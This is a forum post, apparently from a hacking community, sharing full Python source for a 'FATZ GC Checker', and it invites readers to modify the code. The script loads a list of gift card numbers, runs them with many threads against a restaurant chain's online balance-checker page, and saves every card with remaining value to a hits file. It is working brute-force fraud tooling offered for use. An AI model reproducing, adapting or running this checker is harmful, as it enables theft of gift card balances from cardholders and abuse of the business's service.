Source code, in case anyone wanted to modify/use on something that's NOT WINDOWS (AUGH):
Code:
from multiprocessing.dummy import Pool
import multiprocessing, requests, os, random, re, easygui
from datetime import datetime
from colorama import init, Fore
init()
os.system('title FATZ GC Checker 1.0 by Yuri#3849 - Idle [0/0] - Hits: 0 , Bad: 0 ')
print('\n{}\n _____ _ _____ _____ ____ ____ \n | ___| / \\ |_ _| |__ / / ___| / ___|\n | |_ / _ \\ | | / / | | _ | | \n | _| / ___ \\ | | / /_ | |_| | | |___ \n |_| /_/ \\_\\ |_| /____| \\____| \\____|\n \n{} \n ( Project By Yuri )\n\n <<<<< Exclusive To Hackinglounge >>>>>\n\n'.format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))
lock = multiprocessing.Lock()
combo_txt = easygui.fileopenbox()
print(' ')
thread_num = int(input('[+] Enter number of threads: '))
print(' ')
combo_len = len((open(combo_txt, 'r', errors='ignore')).read().split('\n'))
Hits = 0
Bad = 0
now = datetime.now()
current_time = now.strftime('%H:%M:%S')
class Output:
def put(self, code, case, capture=None):
global Bad
global Hits
txt_Hits = open('Hits.txt', 'a+')
lock.acquire()
if case == True:
Hits += 1
if capture != None:
print('{}[{}] | [HIT] {}{} Capture ~ {} {}{}'.format(Fore.LIGHTGREEN_EX, current_time, code, Fore.LIGHTWHITE_EX, Fore.LIGHTGREEN_EX, capture, Fore.LIGHTWHITE_EX))
else:
print('{}[{}] | [HIT] {} {}'.format(Fore.LIGHTGREEN_EX, current_time, code, Fore.LIGHTWHITE_EX))
txt_Hits.write('{} | {} \n'.format(code, capture))
txt_Hits.close()
else:
if case == False:
Bad += 1
print('{}[{}] | [FAIL] {} {}'.format(Fore.LIGHTRED_EX, current_time, code, Fore.LIGHTWHITE_EX))
os.system('title ' + 'FATZ GC Checker 1.0 by Yuri#3849 - Checking [{}/{}] - Hits: {} , Bad: {} '.format(Hits + Bad, combo_len, Hits, Bad))
lock.release()
class Post:
def find_between(self, s, first, last):
try:
start = s.index(first) + len(first)
end = s.index(last, start)
return s[start:end]
except ValueError:
return ''
def login(self, code):
while True:
try:
session = requests.session()
api = 'https://fatz.com/balance-checker/?cn=' + code + ''
headers = {'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
'content-type':'application/x-www-form-urlencoded',
'accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3'}
req = session.get(api, headers=headers)
src = req.text
if '$0.00' in src:
Output().put(code, False)
else:
if 'You have' in src:
cap = self.find_between(src, '<b>$', '</b> remaining').strip()
Output().put(code, True, 'Balance : {}$'.format(cap))
else:
if '502 Bad Gateway' in src:
raise Exception
break
except Exception as e:
try:
pass
finally:
e = None
del e
class Thread:
def __init__(self, cmb_txt, threads):
self.cmb_txt = cmb_txt
self.threads = threads
self.accounts = []
def load(self):
with open(self.cmb_txt, errors='ignore') as (f):
lines = f.read().split('\n')
for line in lines:
if line != '':
self.accounts.append({'code': line})
def brute(self, account):
code = account['code']
Post().login(code)
def main(self):
self.load()
pool = Pool(self.threads)
for _ in pool.imap_unordered(self.brute, self.accounts):
pass
if __name__ == '__main__':
Thread(combo_txt, thread_num).main()
print(' ')
input('[+] Completed')